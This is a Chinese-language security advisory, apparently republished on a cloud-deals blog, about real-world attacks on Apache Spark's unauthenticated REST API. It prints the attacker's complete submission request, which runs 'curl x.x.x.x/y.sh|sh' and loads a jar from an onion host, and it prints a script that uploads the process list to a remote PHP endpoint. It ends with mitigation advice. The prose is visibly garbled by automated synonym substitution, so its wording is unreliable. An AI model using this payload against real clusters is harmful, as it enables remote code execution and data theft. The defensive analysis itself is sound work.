首个Spark REST API未授权漏洞利用分析

2018年7月7日,阿里云安然首次捕获Spark REST API的未授权RCE破绽进行进击的真实样本。7月9号起,阿里云平台已能默认防御此破绽的大年夜规模使用。

这是首次在真实进击中发明应用“暗网”来传播恶意后门的样本,估计未来这一趋势会慢慢扩大年夜。今朝全网约5000台 Spark办事器受此破绽影响。阿里云安然监控到该类型的进击还处于小范围考试测验阶段,必要严防后续的规模性爆发。建议受影响客户参考章节三的修复建议进行修复。

一、破绽详情阐明

Apache Spark 是专为大年夜规模数据处置惩罚而设计的快速通用的谋略引擎,是UC Berkeley AMP lab(加州大年夜学伯克利分校的AMP实验室)所开源的类Hadoop MapReduce的通用并行框架。为了让应用者能够方便的节制系统进行谋略和查看义务结果,Spark也供给了 WEB UI图形化界面和响应的 REST API来方便用户操作。

Spark作为大年夜数据期间的”谋略引擎”,一旦被攻破,企业的核心数据资产、谋略能力、用户敏感数据都将被进击者偷取;更进一步的,因为Spark自身的散播式特点,一个进击点的攻破可能导致全部集群的掉守。Spark权限设置欠妥,可能导致进击者无需认证即可经由过程该 REST API来操作Spark创建义务、删除义务、查看义务结果等,从而终极得到履行随意率性指令的能力。

我们还原了进击者的进击步骤:

1. 进击者经由过程web扫描的要领发清楚明了一台Spark webui办事

2. 构造进击指令,并经由过程6066端口发送到该办事器的REST API

POST /v1/submissions/create

host:xxxx.xxx.xx:6066

{ “action”: “CreateSubmissionRequest”, “clientSparkVersion”: “2.1.0”, “appArgs”: [ “curl x.x.x.x/y.sh|sh” ], “appResource”: “https://xxxx.onion.plus/SimpleApp.jar”, “environmentVariables”: { “SPARK_ENV_LOADED”: “1” }, “mainClass”: “SimpleApp”, “sparkProperties”: { “spark.jars”: “https://xxxxxxxx.onion.plus/SimpleApp.jar”, “spark.driver.supervise”: “false”, “spark.app.name”: “SimpleApp”, “spark.eventLog.enabled”: “false”, “spark.submit.deployMode”: “cluster”, “spark.master”: “spark://x.x.x.x:6066” } }

该进击payload唆使办事器远程下载https://xxxxxxxx.onion.plus/SimpleApp.jar ,并履行进击者指定的随意率性措施,该进击者还经由过程洋葱收集来暗藏自己的相关信息。

3.对该 jar 包进行逆向阐发,该 jar 包等于一个简单的履行敕令的后门,

履行 jar 包时,Spark办事器将会从洋葱收集中下载一段shell脚本并履行。

4.脚本内容如下:

#!/bin/bash

ps ax –sort=-pcpu > /tmp/tmp.txt

curl -F “file=@/tmp/tmp.txt” http://x.x.x.x/re.php

rm -rf /tmp/tmp.txt

该脚本只是简单的将机能信息打印并回传,暂未进行进一步的进击。

二、破绽影响与变更态势

今朝全网监控,开放了8080端口裸露在公网的Spark机械共有5000台阁下,黑客可批量接收此中存在权限问题的机械。

在此之前,阿里云安然团队曾针对散播式谋略系统相关的破绽进行过预警

详见:黑客使用Hadoop Yarn资本治理系统未授权造访破绽进行进击

https://www.toutiao.com/i6552678121449980423/

这两个破绽道理和使用措施异常相似,这也佐证了之前的预判。

跟着加密泉币经济的进一步繁荣,具有强大年夜算力,然则较弱安然能力的散播式利用将面临更多的破绽使用和黑客进击。

因为Hadoop Yarn未授权破绽在全网已经成为了黑客挖矿的一种紧张伎俩,我们有来由信托Spark REST API破绽也将很快被黑产使用。

三、安然专家建议

建议经由过程iptables或者安然组设置设置设备摆设摆设造访策略,限定对8088、8081、7707、6606等端口的造访;并且如无需要,不要将接口开放在公网,改为本地或者内网调用;

建议应用Spark的yarn节制模式,并且开启HTTP Kerberos对WEB UI进行造访节制;如采纳Spark standalone模式,必要自行实现造访节制的jar包,并设置spark.ui.filters对WEB UI进行造访节制,

详见:http://spark.apache.org/docs/latest/configuration.html#security

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包